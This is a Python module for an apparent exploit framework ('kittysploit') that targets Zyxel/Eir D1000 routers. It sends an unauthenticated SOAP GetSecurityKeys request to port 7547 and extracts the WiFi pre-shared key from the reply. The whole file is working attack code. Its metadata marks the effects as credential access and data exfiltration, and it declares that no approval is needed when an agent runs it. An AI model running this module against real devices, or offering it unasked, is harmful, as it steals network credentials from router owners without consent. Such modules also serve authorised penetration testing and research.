Zyxel Eir D1000 WiFi Password Disclosure

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zyxel Eir D1000 WiFi Password Disclosure"""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client



class Module(Auxiliary, Http_client):
    __info__ = {
        'name': 'Zyxel Eir D1000 WiFi Password Disclosure',
        'description': 'Module exploits WiFi Password Disclosure vulnerability in Zyxel/Eir D1000 devices. If the target is vulnerable it allows to read WiFi password.',
        'author': ['Xiphos http://www.xiphosresearch.com/', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'references': ['https://github.com/XiphosResearch/exploits/tree/master/tr-06fail'],
        'tags': ['iot', 'router', 'disclosure', 'credentials', 'unauth', 'auxiliary'],
        'agent': {
            'risk': 'active',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['credentials', 'risk_signals'],
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address: 192.168.1.1")
    port = OptPort(7547, 'Target HTTP port')

    def run(self):
        creds = []
        password = self.get_wifi_key()

        if password is not None:
            creds.append(("WiFi Password", password))
            print_success("Target seems to be vulnerable")
            print_table(("Parameter", "Value"), *creds)
        else:
            print_error("Target seems to be not vulnerable")
    def check(self):
        if self.get_wifi_key() is not None:
            return True  # target is vulnerable

        return False  # target is not vulnerable
    def get_wifi_key(self):
        headers = {
            "SOAPAction": "urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys"
        }
        data = (
            "<?xml version=\"1.0\"?>"
            "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
            " <SOAP-ENV:Body>"
            "  <u:GetSecurityKeys xmlns:u=\"urn:dslforum-org:service:WLANConfiguration:1\">"
            "  </u:GetSecurityKeys>"
            " </SOAP-ENV:Body>"
            "</SOAP-ENV:Envelope>"
        )

        response = self.http_request(
            method="POST",
            path="/UD/act?1",
            headers=headers,
            data=data
        )

        if response is None:
            return None

        password = re.findall("<NewPreSharedKey>(.*?)</NewPreSharedKey>", response.text)

        if len(password):
            return password[0]

        return None